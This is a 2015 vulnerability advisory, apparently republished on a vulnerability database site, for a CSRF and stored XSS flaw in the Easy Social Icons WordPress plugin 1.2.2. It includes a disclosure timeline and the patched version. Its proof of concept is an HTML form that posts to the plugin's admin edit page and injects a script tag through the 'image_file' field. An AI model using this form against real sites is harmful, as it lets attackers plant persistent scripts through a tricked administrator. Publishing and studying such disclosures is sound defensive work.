WordPress Easy Social Icons 1.2.2 CSRF / XSS

🗓️ 19 Feb 2015 00:00:00Reported by Eric FlokstraType

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Easy Social Icons WordPress plugin CSRF / XSS vulnerability patched in v1.2.

`====================================================  
Product: Easy Social Icons WordPress plugin  
Vendor: CyberNetikz  
Tested Version: 1.2.2  
Vulnerability Type: XSS [CWE-79] and CSRF [CWE-352]  
Risk Level: Medium  
Solution Status: Solved in version 1.2.3  
Discovered and Provided: Eric Flokstra - ITsec Security Services  
====================================================  
[-] About the Vendor:  
  
Easy Social Icons is a WordPress plugin and can be used to set icons on   
the public page in order to link to social media platforms such as   
LinkedIn, Twitter or Facebook.  
  
[-] Advisory Details:  
  
It is discovered that insufficient validation is performed on the   
'image_file' parameter enabling arbitrary JavaScript to be injected. On   
top of that no random tokens are used to prevent CSRF attacks. By   
combining these vulnerabilities an attacker could for example trick an   
admin into setting a persistent XSS payload on the public WordPress page.  
  
[-] Proof of Concept:  
  
<html>  
<body>  
<form   
action="http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1"   
<http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1>   
method="POST" enctype="multipart/form-data">  
<input type="hidden" name="title" value="Example" />  
<input type="hidden" name="image_file"   
value="http://10.0.2.215/wordpress/wp-content/uploads/2015/02/cookie.jpg"><script>alert(1)</script>"   
/>  
<input type="hidden" name="url"   
value="http://www.example.org" />  
<input type="hidden" name="sortorder" value="0" />  
<input type="hidden" name="target" value="1" />  
<input type="hidden" name="action" value="edit" />  
<input type="hidden" name="id" value="1" />  
<input type="hidden" name="submit_button"   
value="Save Changes" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
[-] Disclosure Timeline:  
  
[02 Feb 2015]: Vendor notification  
[02 Feb 2015]: Vulnerability confirmation  
[11 Feb 2015]: Vulnerability patched  
[19 Feb 2015]: Public disclosure  
  
[-] Solution:  
  
Update to the latest version of Easy Social Icons.  
  
[-] References:  
  
[1] Easy Social Icons Changelog --   
https://wordpress.org/plugins/easy-social-icons/changelog/  
[2] Common Weakness Enumeration (CWE) -- http://cwe.mitre.org  
[3] ITsec Security Services BV -- http://www.itsec.nl  
  
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ITsec Security Services bv. (KvK. 34181927)  
  
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P.O. Box 5120, 2000GC Haarlem  
Visitors Address:   
Kenaupark 23, 2011 MR Haarlem  
  
Phone: +31 - (0)23 542 05 78  
  
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`

19 Feb 2015 00:00Current

0.2Low risk

Vulners AI Score0.2